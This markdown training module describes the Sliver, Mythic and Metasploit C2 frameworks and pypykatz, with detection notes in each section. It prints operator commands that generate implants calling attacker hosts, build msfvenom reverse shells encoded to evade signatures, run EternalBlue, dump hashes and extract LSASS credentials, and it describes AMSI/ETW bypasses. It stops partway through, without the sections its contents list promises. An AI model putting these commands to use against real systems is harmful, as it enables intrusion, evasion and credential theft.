<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->

# C2 Frameworks & Post-Exploitation Deep Dive

> NERF Training Module — C2 Operations, Post-Exploitation Tooling, and Detection Engineering
> Generated from source code analysis of: Sliver, Mythic, Metasploit Framework, pypykatz, SharpHound, Snaffler

---

## Table of Contents

1. [Sliver C2 Framework](#1-sliver-c2-framework)
2. [Mythic C2 Framework](#2-mythic-c2-framework)
3. [Metasploit Framework](#3-metasploit-framework)
4. [pypykatz — LSASS & DPAPI Credential Extraction](#4-pypykatz)
5. [SharpHound — Active Directory Enumeration](#5-sharphound)
6. [Snaffler — File Share Credential Discovery](#6-snaffler)
7. [Cross-Tool Detection Matrix](#7-cross-tool-detection-matrix)

---

## 1. Sliver C2 Framework

**Source:** BishopFox/sliver | Language: Go | License: GPLv3

### 1.1 Architecture

Sliver has four major components:

- **Server Console** — Superset of client; communicates with server via in-memory gRPC
- **Sliver Server** — Manages database, starts/stops C2 listeners, all functionality exposed via gRPC
- **Sliver Client** — Separate binary (`sliver-client`) connecting over gRPC/mTLS for multiplayer operations
- **Implant** — The malicious payload compiled per-engagement with embedded C2 config

The server exposes a gRPC interface; multiplayer mode puts this on the network over mTLS. Client code is identical whether running in-process (server console) or over the network (client binary).

### 1.2 Implant Modes

**Session Mode:** Persistent real-time connection. Supports interactive commands (`shell`, `portfwd`). Uses yamux multiplexing over the transport.

**Beacon Mode:** Asynchronous check-in with configurable interval + jitter (default up to 30s random jitter). Tasks execute FIFO. Can switch to session mode via `interactive` command over any compiled-in C2 protocol.

```
# Generate session implant
generate --mtls example.com --os windows --arch amd64 --save /output/

# Generate beacon implant
generate beacon --mtls example.com --seconds 30 --jitter 20 --os windows

# Multi-protocol with failover
generate --mtls foo.com --http bar.com --dns 1.example.com. --strategy r
```

**Connection Strategies:**
- `s` (sequential, default): mTLS -> WireGuard -> HTTP(S) -> DNS
- `r` (random): randomly select from compiled-in endpoints

### 1.3 Transport Protocols

#### mTLS (Recommended for reliability)

- Server: `server/c2/mtls.go` — TLS 1.3, mutual certificate auth, implant mTLS CA
- Implant: `implant/sliver/transports/mtls/mtls.go`
- After TLS handshake, sends `MUX/1` preface, then yamux multiplexing
- Each C2 envelope per yamux stream: `[74-byte minisign signature | uint32 LE payload length | protobuf Envelope]`
- Envelope payload signs with ed25519 derived from implant peer private key: `seed = sha256("env-signing-v1:" + peerPrivateKey)`
- Server verifies signature + key ID resolution against implant build metadata
- Bidirectional signing: server signs with minisign private key, implant verifies with embedded public key
- Session pings every 2 minutes (`MsgPing`)
- Max inbound payload: ~2 GB

```
# Start listener
mtls --lport 8888

# Listener with specific bind
mtls --lhost 0.0.0.0 --lport 443
```

**Detection Opportunities:**
- TLS 1.3 client certificate authentication is unusual for most traffic
- yamux `MUX/1` preface is a distinctive signature if TLS is broken
- JA3/JA3S fingerprinting of the Go TLS stack
- Certificate transparency logs won't show these self-signed certs

#### HTTP(S) C2

- Proxy-aware (auto-detects system proxy: env vars, WPAD, PAC, WinHTTP, scutil)
- Proxy auth order: HTTPS+proxy -> HTTP+proxy -> HTTPS direct -> HTTP direct
- NTLM/Kerberos proxy auth available via `wininet` library flag (Windows only)

**Procedural C2 — Key Evasion Feature:**
- URLs are procedurally generated per-request using configurable path segments
- File extensions indicate message type (configurable in `~/.sliver/configs/http-c2.json`):
  - `.woff` = Stagers
  - `.js` = Long poll messages
  - `.html` = Key exchange
  - `.php` = Session messages
  - `.png` = Close session
- Each implant embeds a random subset of the server's C2 profile, so different implants generate different URL patterns
- Encoder selection via nonce: `nonce = (random * EncoderModulus) + encoderID`, sent as `_` query parameter (looks like cache-busting)
- Available encoders: Base64 (custom alphabet), Hex, Gzip, English text, PNG image, Gzip+English, Base64+Gzip
- Static website content can be served alongside C2 traffic for legitimacy
- Let's Encrypt automatic TLS certificates supported

```
# HTTP C2 config customization
# ~/.sliver/configs/http-c2.json
# - Custom user agents, headers, URL parameters
# - Custom path segments and file extensions per message type
# - Cookie names for server responses

# Start HTTPS with Let's Encrypt
https --domain example.com --lets-encrypt --website fake-blog

# Start with custom cert
https --domain example.com --cert ./cert.pem --key ./key.pem
```

**Detection Opportunities:**
- Nonce-based encoder ID in `_` parameter is detectable with known EncoderModulus
- Custom Base64 alphabet is NOT standard — decode failures with standard base64
- All requests to same domain will share file extension patterns
- Statistical analysis of URL path segment entropy
- JA3 fingerprint for Go HTTP client

#### DNS C2

- Designed for speed over stealth — full-duplex tunnel through DNS
- ~30 Kbps throughput at best
- Requires NS record delegation to attacker nameserver

**Technical Implementation:**
- Data encoded in QNAME subdomains (up to 254 chars total)
- Encoder selection: Base58 (case-sensitive, ~1.33x) preferred, falls back to Base32 (~1.6x) if resolver corrupts case
- Resolver fingerprinting: sends random bytes, server returns CRC32 in A record response to detect corruption
- Parallel send/receive with `DNSMessage` protobuf wrapping: `{Type, ID (8-bit msg + 24-bit session), Start, Stop, Size, Data}`
- Subdata space per query: `254 - len(parent) - (1 + (254-len(parent))/64)` characters available for encoding

```
# DNS setup requirements:
# 1. A record: example.com -> attacker IP
# 2. A record: ns1.example.com -> attacker IP
# 3. NS record: 1.example.com -> ns1.example.com

# Start DNS listener (always use FQDN with trailing dot)
dns --domains 1.example.com.

# Generate with DNS
generate --dns 1.example.com. --canary canary.example.com.
```

**DNS Canaries:** Unique per-binary domains inserted (deliberately unobfuscated) during string obfuscation. If resolved, alerts that specific binary was discovered by defenders. Triggered if someone runs `strings` on the implant and resolves found domains.

**Detection Opportunities:**
- High volume of DNS queries to same subdomain pattern
- TXT/CNAME record queries with high-entropy subdomains
- DNS query volume anomalies (thousands of queries per minute)
- Unusually long subdomain labels (near 63-char limit)
- Base32/Base58 encoded subdomain patterns

#### WireGuard C2

- Uses netstack TUN (userspace WireGuard)
- Server tunnel IP: `100.64.0.1` (Carrier-Grade NAT range)
- Default UDP port: `53` (disguised as DNS)
- In-tunnel: key exchange port `1337`, C2 port `8888`
- Session key rotation: initial embedded keys -> key exchange -> new WireGuard interface with session keys
- Same envelope format as mTLS after yamux setup

```
# Start WireGuard listener
wg --lport 53

# Generate WireGuard implant
generate --wg attacker.com
```

**Detection Opportunities:**
- WireGuard handshake patterns on port 53 (normally UDP DNS)
- Persistent UDP connection to single destination (unusual for DNS)
- 100.64.0.0/10 range in internal traffic is suspicious

### 1.4 Transport Encryption (HTTP/DNS — non-mTLS/WG)

Implants embed at compile time:
1. Server Age public key
2. Implant Age peer keypair (public + private)
3. Minisign signature of implant's Age public key
4. Server minisign public key

**Key Exchange Flow:**
1. Implant generates random 256-bit session key
2. Encrypts session key + HMAC with server's Age public key
3. Sends `[SHA256(implantPubKey) | AgeCiphertext]`
4. Server decrypts, generates session ID, encrypts with session key (ChaCha20Poly1305)
5. All subsequent traffic: ChaCha20Poly1305 with session key
6. Replay detection: SHA256 hash of each ciphertext stored

**Pivot Key Exchange:** Peer-to-peer between implants using Age + minisign verification. Upstream pivots cannot decrypt traffic between downstream implant and server.

### 1.5 Implant Evasion Capabilities

**DLL Unhooking (`RefreshPE`)** — `implant/sliver/evasion/evasion_windows.go`:
- Reads clean `.text` section from DLL file on disk
- Overwrites in-memory `.text` section of loaded DLL
- Targets `ntdll.dll` and `kernel32.dll` to erase EDR hooks
- Uses `VirtualProtect` to make section RWX, writes clean bytes, restores permissions
- Skipped on Windows 8.1 (build 9600) due to stability issues

**AMSI Bypass** — `implant/sliver/taskrunner/task_windows.go`:
- Patches `AmsiScanBuffer`, `AmsiInitialize`, `AmsiScanString` entry points
- Writes `0xC3` (RET) to function entry
- VirtualProtect RW -> patch -> restore original protection

**ETW Bypass:**
- Patches `EtwEventWrite` in `ntdll.dll` with `0xC3` (RET)
- Disables Event Tracing for Windows telemetry

**Process Injection** — `injectTask()`:
- `VirtualAllocEx` -> `WriteProcessMemory` -> `VirtualProtectEx` (RW->RX) -> `CreateRemoteThread`
- Optional RWX mode (less evasive but more compatible)
- Supports parent PID spoofing via `spoof.SpoofParent()`
- Processes started with `CREATE_SUSPENDED` flag and hidden window

**Execute Assembly:**
- Starts sacrificial process (configurable, with PPID spoofing)
- Injects .NET assembly loader shellcode into suspended process
- Captures stdout/stderr via pipes
- Supports in-process execution with AMSI/ETW bypass

### 1.6 BOF/COFF Loading

- COFF Loader extension from Sliver Armory
- Supports Cobalt Strike BOFs with no code changes
- Manifest file (`extension.json`) maps BOF arguments to types: `b` (binary/file), `i` (int32), `s` (int16), `z` (string), `Z` (wstring)
- BOF argument types from CNA scripts translate directly

```
# Install BOF from armory
armory install nanodump
armory install coff-loader

# Use BOF
nanodump -pid 612 -dump-name lsass.dmp -write-file 0 -signature PMDM
```

### 1.7 Pivots

- TCP pivots: Pure Go, all platforms, `pivots tcp --bind :9898`
- Named Pipe pivots (SMB): Windows only, `pivots named-pipe --bind foobar`
- All pivots authenticated with Age + minisign (only same-server implants can communicate)
- Session mode only (no beacon pivot support currently)
- Pivots show in session list as `192.168.1.178:59290->WARM_DRIVEWAY->`

### 1.8 Traffic Encoders

- Wasm-based custom encode/decode functions
- Must export: `encode()`, `decode()`, `malloc()`, `free()`
- Optional imports: `log()`, `rand()`, `time()`
- Can be written in any Wasm-compilable language (Rust recommended for performance)
- Messages >2MB bypass custom encoders (use native built-in)

### 1.9 Stagers

- Supports meterpreter staging protocol over TCP and HTTP(S)
- Profile-based: create profile -> link to stage-listener
- Shellcode options (Windows via Donut): encoder, compression (aPLib), entropy level, exit options, header handling
- Linux/macOS: compression only
- AES-CBC-128 encrypted staging supported (for obfuscation)

```
# Create profile for staging
profiles new --mtls 192.168.122.1 --format shellcode win-shellcode

# Start stage listener
stage-listener --url http://192.168.122.1:1234 --profile win-shellcode

# Encrypted staging
stage-listener --url http://192.168.0.52:80 --profile win-shellcode --aes-encrypt-key D(G+KbPeShVmYq3t --aes-encrypt-iv 8y/B?E(G+KbPeShV
```

### 1.10 External Builders

- Any `sliver-server` binary can run as builder via operator config
- Offloads compilation to different machines (e.g., macOS for .dylib targets)
- `generate --external-builder --os mac --arch arm64`
- Enables custom implant source modifications via forked repos

### 1.11 Operator Workflow Summary

```
# 1. Install and start server
./sliver-server

# 2. Generate operator configs for multiplayer
multiplayer
new-operator --name bob --lhost 10.0.0.1

# 3. Generate implant with multiple C2 channels
generate beacon --mtls attacker.com --http cdn.legit.com --dns 1.c2.attacker.com. \
  --seconds 60 --jitter 30 --os windows --arch amd64 --save ./implants/

# 4. Start listeners
mtls --lport 8888
https --domain cdn.legit.com --lets-encrypt --website fake-blog
dns --domains 1.c2.attacker.com.

# 5. Interact with callbacks
use <session-id>
info
whoami
ps
netstat

# 6. Post-exploitation
execute-assembly /path/to/Rubeus.exe kerberoast
sideload /path/to/mimikatz.dll
shell
portfwd add --bind 127.0.0.1:8080 --remote 10.0.0.5:80
socks5 start

# 7. Pivot to restricted network
pivots tcp --bind :9898
generate --tcp-pivot 10.0.0.1:9898 --os windows
```

### 1.12 Sliver Detection Opportunities Summary

| Indicator | Detection Method | Confidence |
|-----------|-----------------|------------|
| Go TLS stack JA3 | JA3/JA3S fingerprint database | Medium |
| mTLS client certs | TLS inspection for unusual client auth | High |
| Procedural URLs with `_` nonce | HTTP proxy log analysis for nonce patterns | Medium |
| Custom Base64 alphabet | Failed standard Base64 decode of body | High |
| DNS tunnel entropy | DNS query subdomain entropy analysis | High |
| WireGuard on port 53 | Protocol analysis (not valid DNS) | High |
| `RefreshPE` — reading DLL from disk then VirtualProtect | Sysmon Event 10 (ProcessAccess) + Event 7 (ImageLoad) | Medium |
| AMSI patch (`0xC3` at AmsiScanBuffer) | AMSI provider health monitoring, in-memory scanning | High |
| ETW patch | ETW provider monitoring for EtwEventWrite | High |
| CreateRemoteThread into suspended process | Sysmon Event 8 + Event 1 with CREATE_SUSPENDED | High |
| Named pipe pivots | Sysmon Event 17/18 for pipe creation/connection | Medium |
| Implant codenames in binary | YARA rules for Sliver-specific strings | Medium |

---

## 2. Mythic C2 Framework

**Source:** its-a-feature/Mythic | Language: Go (server), Python/Go (agents) | License: BSD-3

### 2.1 Architecture

Mythic uses a fully containerized microservices architecture:

- **mythic_server** — GoLang backend: GraphQL API, WebSocket, PostgreSQL database
- **mythic_react** — React web UI for operators
- **nginx** — Reverse proxy unifying all services
- **PostgreSQL** — Persistent storage for operations, callbacks, tasks, credentials
- **RabbitMQ** — Message broker connecting server to agent/C2 containers
- **Hasura** — GraphQL engine over PostgreSQL
- Optional: Grafana, Prometheus, Jupyter Notebook containers

**Key Design Principle:** Payload types and C2 profiles are NOT part of the core repository. They exist as independent Docker containers installed separately:

```bash
# Install an agent
sudo ./mythic-cli install github https://github.com/MythicAgents/apfell

# Install a C2 profile
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
```

### 2.2 Agent (Payload Type) Development

Agents are developed as independent containers using either Python (`mythic_container` PyPI) or Go (`MythicContainer` module). They communicate with the Mythic server exclusively via RabbitMQ.

**Container Structure:**
```
PayloadType/
├── Dockerfile
├── main.py (or main.go)
├── agent_code/        # Actual implant source
├── commands/          # Command definitions
│   ├── shell.py
│   ├── upload.py
│   └── ...
└── agent_functions/   # Build, tasking, response processing
```

**Agent Definition Requirements:**
- Supported OS list (Windows, Linux, macOS, etc.)
- Build parameters (configurable at payload creation)
- Command definitions with parameters, MITRE ATT&CK mappings
- Builder function (generates payload binary from configuration)
- Tasking pipeline (create_tasking, process_response)

### 2.3 Tasking/Callback Architecture

**Message Flow (from source: `rabbitmq/util_agent_message.go`):**

1. **Agent Check-in** — `action: "checkin"` with host info:
   ```json
   {
     "action": "checkin",
     "user": "admin",
     "host": "WORKSTATION1",
     "pid": 1234,
     "ip": "10.0.0.5",
     "ips": ["10.0.0.5", "192.168.1.100"],
     "os": "Windows 10",
     "domain": "CORP",
     "architecture": "x64",
     "integrity_level": 3,
     "process_name": "explorer.exe",
     "uuid": "<payload-uuid>"
   }
   ```

2. **Server Response** — New callback UUID + crypto keys:
   ```json
   {
     "id": "<callback-uuid>",
     "status": "success"
   }
   ```

3. **Get Tasking** — Agent polls for tasks:
   ```json
   {
     "action": "get_tasking",
     "tasking_size": -1,
     "get_delegate_tasks": true
   }
   ```

4. **Task Delivery** — Server returns queued tasks:
   ```json
   {
     "tasks": [
       {
         "command": "shell",
         "parameters": "whoami /all",
         "id": "<task-uuid>",
         "timestamp": 1234567890
       }
     ]
   }
   ```

5. **Post Response** — Agent returns results with `action: "post_response"`

**UUID System (from source: `util_agent_message.go`):**
- Three UUID types: `callback`, `payload`, `staging`
- UUID used to lookup cached crypto keys and routing info
- Crypto locations: callback, staging, C2 profile, payload
- Supports `aes256_hmac` encryption for agent messages

**Tasking Pipeline (from RabbitMQ handlers):**
1. `send_pt_task_create` — Operator submits task
2. `send_pt_task_opsec_pre` — Pre-execution OPSEC check
3. Agent fetches task via `get_tasking`
4. `send_pt_task_process_response` — Process agent response
5. `send_pt_task_opsec_post` — Post-execution OPSEC check
6. `send_pt_task_completion_function` — Task completion callback

**Subtasking:** Tasks can create subtasks and subtask groups:
- `recv_mythic_rpc_task_create_subtask`
- `recv_mythic_rpc_task_create_subtask_group`

### 2.4 C2 Profile System

C2 profiles are independent containers defining how traffic flows between agents and the Mythic server.

**Profile Capabilities (from source):**
- `send_c2_rpc_start_server` / `send_c2_rpc_stop_server` — Lifecycle management
- `send_c2_rpc_opsec_check` — Validate operational security of profile configuration
- `send_c2_rpc_config_check` — Verify configuration validity
- `send_c2_rpc_get_ioc` — Extract Indicators of Compromise from profile
- `send_c2_rpc_get_redirector_rules` — Generate redirector configurations
- `send_c2_rpc_host_file` — Host files through C2 channel
- `send_c2_rpc_sample_message` — Generate sample traffic for testing

**Profile Types:**
- **Egress** — Direct outbound connection (HTTP, DNS, etc.)
- **P2P** — Peer-to-peer between agents

**Translation Containers:** Special containers that transform message formats between non-standard agent protocols and Mythic's expected JSON format:
- `send_tr_rpc_encrypt_bytes` / `send_tr_rpc_decrypt_bytes`
- `send_tr_rpc_generate_encryption_keys`
- `send_tr_rpc_custom_message_to_mythic_c2` / `send_tr_rpc_mythic_c2_to_custom_message`

### 2.5 Crypto System (from source: `mythic-docker/src/crypto/`)

- Supports `aes256_hmac` as primary crypto type
- Keys stored per-callback, per-payload, per-staging, per-C2-profile
- Multiple key options for payload-type UUIDs (tries C2 keys first, then payload keys)
- RSA staging supported (`util_agent_message_actions_staging_rsa.go`)
- Successful decryption key cached to avoid re-trying all options

### 2.6 Operational Features

**MITRE ATT&CK Integration:**
- Commands mapped to ATT&CK techniques at definition time
- Technique mappings propagate to tasks when issued
- Coverage visualization across ATT&CK matrix
- `utils_mitre_attack.go` handles mapping

**Comprehensive Metadata Tracking:**
- All payloads tracked: who created, when, why, which C2 params, which commands and versions
- All tasks attributed to operators
- Callback graph tracking (P2P relationships): `util_callback_graph.go`
- Credential storage: `recv_mythic_rpc_credential_create`
- File browser data: `recv_mythic_rpc_filebrowser_create`
- Process listing: `recv_mythic_rpc_process_create`
- Keylog capture: `recv_mythic_rpc_keylog_create`
- Artifact tracking: `recv_mythic_rpc_artifact_create`

**SIEM Integration:** `utils_siem_message_create_and_emit.go` — generates structured SIEM messages for all operations.

**Eventing System:** Task intercept, response intercept, conditional checks, custom functions for automation.

### 2.7 Mythic Operator Workflow

```bash
# 1. Install Mythic
sudo make
sudo ./mythic-cli start

# 2. Install agents and C2 profiles
sudo ./mythic-cli install github https://github.com/MythicAgents/poseidon
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http

# 3. Access web UI at https://<server>:7443
# Default creds in .env file

# 4. Create payload via web UI:
#    - Select payload type (poseidon, apfell, etc.)
#    - Configure C2 profile parameters
#    - Select commands to include
#    - Build payload

# 5. Deploy payload, interact via web UI
#    - Callbacks appear in real-time
#    - Issue tasks through command line interface
#    - View results, download files, manage credentials
```

### 2.8 Notable Mythic Agents

| Agent | Language | OS | Key Capabilities |
|-------|----------|-----|-------------------|
| Poseidon | Go | Linux/macOS | Keys, screenshots, portscan, socks |
| Apollo | C# | Windows | Token manipulation, assembly load, mimikatz |
| Athena | C# | Windows/Linux/macOS | Cross-platform, plugin-based |
| Apfell | JavaScript (JXA) | macOS | macOS native scripting |
| Medusa | Python | Linux/macOS/Windows | Lightweight, cross-platform |

### 2.9 Mythic Detection Opportunities

| Indicator | Detection Method |
|-----------|-----------------|
| Docker container activity on C2 server | Monitor for Docker/compose on internet-facing hosts |
| RabbitMQ traffic patterns | Internal network monitoring for AMQP |
| GraphQL API exposure | Web application scanning for Hasura endpoints |
| Payload metadata in database | Forensic recovery of PostgreSQL data |
| Agent UUID format in traffic | Network pattern matching on UUID-structured data |
| C2 profile traffic patterns | Profile-specific IOC extraction via `get_ioc` RPC |

---

## 3. Metasploit Framework

**Source:** rapid7/metasploit-framework | Language: Ruby | License: BSD-3

### 3.1 Architecture Overview

**Core Library (`lib/msf/core/`):**
- `framework.rb` — Central Framework class orchestrating all components
- `module.rb` — Base class for all modules
- `exploit.rb` — Base class for exploits, defines connection types (reverse, bind, noconn, tunnel)
- `payload.rb` — Payload base class with types: Single, Stager, Stage, Adapter
- `post.rb` / `post_mixin.rb` — Post-exploitation module base
- `auxiliary.rb` — Scanner/fuzzer/other auxiliary module base
- `encoder.rb` — Payload encoding engines
- `handler/` — Payload handler implementations
- `session/` — Session management (meterpreter, shell, etc.)
- `db_manager/` — Database interaction for storing results
- `exploit_driver.rb` — Execution engine for exploits

**Module Types:**
- `exploit` — Vulnerability exploitation
- `auxiliary` — Scanners, fuzzers, spoofers, DoS
- `post` — Post-exploitation
- `payload` — Shellcode/agents (singles, stagers, stages)
- `encoder` — Payload obfuscation
- `evasion` — AV evasion wrappers
- `nop` — NOP sled generators

### 3.2 Exploit Module Categories

**Windows Exploits (major categories, 52 subdirectories):**
- `local/` — 111 modules: privilege escalation, UAC bypass, kernel exploits
- `smb/` — 32 modules: EternalBlue, SMBGhost, classic MS0x-xxx
- `http/` — Web application exploits
- `dcerpc/` — RPC-based exploits
- `browser/` — Client-side browser exploits
- `fileformat/` — Malicious document generation
- `rdp/` — BlueKeep and RDP exploits
- `mssql/`, `mysql/`, `oracle/`, `postgres/` — Database exploits

**Linux Exploits:**
- `local/` — 89 modules: DirtyPipe, PwnKit, OverlayFS, eBPF, kernel exploits

**Multi-platform (`multi/`):**
- `http/` — 362 modules: Web application exploits (largest category)

**Key Windows Local Exploits (Privilege Escalation):**
```
# UAC Bypasses
bypassuac_eventvwr.rb          # eventvwr.exe registry hijack
bypassuac_fodhelper.rb         # fodhelper.exe registry hijack
bypassuac_sdclt.rb             # sdclt.exe auto-elevate
bypassuac_silentcleanup.rb     # SilentCleanup scheduled task
bypassuac_comhijack.rb         # COM object hijacking
bypassuac_dotnet_profiler.rb   # COR_PROFILER environment variable

# Kernel/System Exploits
cve_2020_0796_smbghost.rb      # SMBv3 compression
cve_2021_21551_dbutil_memmove.rb  # Dell dbutil driver
cve_2022_0847_dirtypipe.rb     # DirtyPipe (Linux)
cve_2021_4034_pwnkit_lpe_pkexec.rb  # PwnKit pkexec
always_install_elevated.rb     # AlwaysInstallElevated MSI
```

### 3.3 Post-Exploitation Modules

**Windows Gather (81 modules):**
```
# Credential Harvesting
credentials/domain_hashdump.rb   # NTDS.dit extraction via shadow copy
credentials/chrome.rb            # Chrome saved passwords
credentials/gpp.rb               # Group Policy Preferences passwords
credentials/enum_laps.rb         # LAPS password recovery
credentials/windows_autologin.rb # Registry autologon creds
credentials/sso.rb               # SSO credential extraction
credentials/winscp.rb            # WinSCP saved sessions
credentials/vnc.rb               # VNC password recovery
credentials/mssql_local_hashdump.rb  # SQL Server hash dump

# AD Enumeration
enum_ad_computers.rb             # AD computer objects
enum_ad_users.rb                 # AD user objects
enum_ad_groups.rb                # AD group memberships
enum_ad_service_principal_names.rb  # SPN enumeration for Kerberoasting
enum_domain_tokens.rb            # Token enumeration
enum_ad_bitlocker.rb             # BitLocker recovery keys from AD
bloodhound.rb                   # BloodHound data collection

# System Information
cachedump.rb                     # Cached domain credentials
checkvm.rb                       # VM detection
enum_applications.rb             # Installed applications
enum_av.rb                       # AV product detection
```

**Windows Manage (30 modules):**
```
enable_rdp.rb                    # Enable Remote Desktop
migrate.rb                       # Process migration
execute_dotnet_assembly.rb       # In-memory .NET execution
kerberos_tickets.rb             # Kerberos ticket management
killav.rb                       # AV process termination
make_token.rb                   # Token impersonation
inject_ca.rb                    # Certificate authority injection
```

**Windows Escalate:**
```
getsystem.rb                     # Named pipe impersonation
golden_ticket.rb                 # Kerberos golden ticket creation
```

**Linux Gather (15+ modules):**
```
enum_configs.rb                  # Configuration file enumeration
enum_network.rb                  # Network configuration
enum_protections.rb              # Security control detection
enum_system.rb                   # System information
checkcontainer.rb               # Container detection
```

### 3.4 Scanner Categories (91 subdirectories)

Major scanner categories include:
```
smb/         — SMB enumeration (shares, users, versions, vulnerabilities)
http/        — Web scanner (directory, version, vulnerability)
ssh/         — SSH enumeration and brute force
rdp/         — RDP scanning (ms12_020, BlueKeep check)
mssql/       — SQL Server discovery and enumeration
mysql/       — MySQL enumeration
postgres/    — PostgreSQL enumeration
ftp/         — FTP enumeration and anonymous access
ldap/        — LDAP enumeration
kerberos/    — Kerberos enumeration (AS-REP roasting, etc.)
snmp/        — SNMP community string brute force
telnet/      — Telnet banner grab and auth
dcerpc/      — MSRPC endpoint enumeration
vnc/         — VNC authentication scanning
winrm/       — WinRM access testing
portscan/    — TCP/UDP/SYN port scanning
discovery/   — Network discovery (ARP, UDP probe)
ipmi/        — IPMI/BMC vulnerability scanning
ssl/         — SSL/TLS analysis (POODLE, Heartbleed, etc.)
oracle/      — Oracle database enumeration
```

### 3.5 Payload System

**Payload Types:**
- **Singles** — Self-contained (e.g., `windows/exec`)
- **Stagers** — Small initial payload that downloads stage (e.g., `windows/meterpreter/reverse_tcp`)
- **Stages** — Main payload loaded by stager (e.g., Meterpreter)
- **Adapters** — Wrap payloads in different formats

```bash
# Generate payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 -f exe -o payload.exe

# Generate shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw -o shell.bin

# Encode to evade signatures
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -e x64/xor_dynamic -i 5 -f exe

# List encoders
msfvenom --list encoders
```

### 3.6 Meterpreter Capabilities

```
# System
sysinfo, getuid, getpid, ps, kill, migrate, getsystem

# File System
ls, cd, pwd, cat, download, upload, search, edit

# Network
ifconfig, route, portfwd, arp, netstat

# Credentials
hashdump, kiwi (mimikatz integration), load_kiwi
creds_all, creds_msv, creds_wdigest, creds_kerberos, creds_tspkg

# Pivoting
autoroute, portfwd, socks_proxy

# Persistence
persistence, run persistence

# Evasion
timestomp, clearev

# Privilege
getsystem, steal_token, rev2self, incognito

# Reconnaissance
run post/windows/gather/enum_domain
run post/multi/gather/env
```

### 3.7 Metasploit Operator Workflow

```bash
# 1. Start console
msfconsole

# 2. Search for exploit
search type:exploit platform:windows cve:2021

# 3. Configure and run exploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.0.0/24
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.1
exploit

# 4. Post-exploitation
background
use post/windows/gather/credentials/domain_hashdump
set SESSION 1
run

# 5. Pivot
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 192.168.1.0
run

# 6. Scan through pivot
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run
```

### 3.8 Metasploit Detection Opportunities

| Indicator | Detection Method |
|-----------|-----------------|
| Meterpreter stage download | Network IDS signatures for stage protocol |
| Named pipe impersonation (getsystem) | Sysmon Event 17/18 for `\\.\pipe\` |
| hashdump registry access | Sysmon Event 13 for SAM/SECURITY hive access |
| NTDS.dit shadow copy | VSS service events, Event ID 8222 |
| Process migration | Sysmon Event 8 (CreateRemoteThread) |
| Meterpreter TLS | JA3 fingerprint for Meterpreter reverse_https |
| Port forwarding | Unusual listening ports on compromised hosts |
| clearev | Security event log cleared (Event ID 1102) |
| Shellcode injection patterns | ETW / AMSI telemetry for memory allocation patterns |

---

## 4. pypykatz

**Source:** skelsec/pypykatz | Language: Python | License: MIT

### 4.1 Overview

Pure Python implementation of Mimikatz — parses LSASS process memory and minidump files to extract credentials without requiring the Mimikatz binary. Operates entirely offline on dump files, making it ideal for exfiltrating LSASS dumps and parsing on attacker infrastructure.

### 4.2 Credential Types Extracted

pypykatz parses nine distinct LSA authentication package types from `lsadecryptor/packages/`:

| Package | Source DLL | Extracts | Notes |
|---------|-----------|----------|-------|
| **MSV** | `msv1_0.dll` | NT hash, LM hash, SHA1 hash, DPAPI key | Primary authentication; always present |
| **WDigest** | `wdigest.dll` | Plaintext password, domain, username | Disabled by default on Win 8.1+; enable via `UseLogonCredential` registry key |
| **Kerberos** | `kerberos.dll` | Password, AES128/256 keys, tickets (TGT/TGS), smart card PIN | Full Kerberos credential extraction including ticket export |
| **SSP** | `msv1_0.dll` | Plaintext credentials | Security Support Provider credentials |
| **LiveSSP** | `livessp.dll` | Plaintext credentials | Live account SSP (Microsoft accounts) |
| **CredMan** | `lsasrv.dll` | Plaintext password, domain, username, LUID | Windows Credential Manager stored credentials |
| **TSPKG** | `tspkg.dll` | Plaintext credentials | Terminal Services credentials |
| **DPAPI** | `lsasrv.dll` | Master key, SHA1 of master key, key GUID | DPAPI master keys for further decryption chains |
| **CloudAP** | `cloudap.dll` | Cloud authentication tokens | Azure AD / Microsoft cloud credentials |

### 4.3 LSA Decryption Architecture

**NT5 vs NT6 Split:**
- `lsa_decryptor_nt5.py` — Windows XP/2003
- `lsa_decryptor_nt6.py` — Windows Vista+ (current)

LSA encryption keys are found by scanning for known byte signatures in LSASS memory, then following pointer chains to the actual key material. Each authentication package has version-specific templates (`lsa_template_nt5.py`, `lsa_template_nt6.py`) defining struct layouts and signature patterns.

**Decryptor Workflow:**
1. Parse minidump or live LSASS memory
2. Identify OS version and architecture from `KatzSystemInfo`
3. Select appropriate LSA template (NT5 vs NT6)
4. Scan for LSA encryption key signatures in `lsasrv.dll`
5. Extract AES/3DES keys from LSA key structures
6. For each authentication package:
   a. Scan for package-specific signature in package DLL memory
   b. Follow pointer to first entry in linked list
   c. Walk linked list, decrypt each credential with LSA keys
7. Associate credentials with logon sessions (by LUID)

### 4.4 Input Methods

```python
# From minidump file (most common operational use)
pypykatz.parse_minidump_file("lsass.dmp")

# From live LSASS process (requires admin on Windows)
pypykatz.go_live()

# From duplicated handle (find existing handle to LSASS)
pypykatz.go_handledup()

# From process handle directly
pypykatz.go_live_phandle(process_handle)

# From bytes in memory
pypykatz.parse_minidump_bytes(data)

# From zip-compressed dump
pypykatz.parse_zipdump_file("lsass.zip")
```

### 4.5 DPAPI Capabilities

**DPAPI Master Key Decryption Chain (from source comments in `dpapi/dpapi.py`):**

```
1. Pre-masterkey sources:
   a. User password + SID
   b. User NT hash + SID
   c. LSA secrets from registry (DPAPI key) or SAM cache NT hash + SID
   d. Offline registry hives

2. Masterkey sources:
   a. Masterkeyfile + pre_masterkey
   b. Live LSASS dump
   c. Offline LSASS dump

3. Decrypt targets:
   a. Credential files (DPAPI_BLOB -> CREDENTIAL_BLOB)
   b. VPOL vault files (masterkey -> VPOL -> two decryption keys)
   c. VCRD vault files (VPOL keys -> decrypt attributes)
   d. Generic DPAPI_BLOB
```

**Masterkey File Locations:**
- Per-user: `%APPDATA%\Microsoft\Protect\%SID%\`
- SYSTEM: `%SYSTEMDIR%\Microsoft\Protect\`

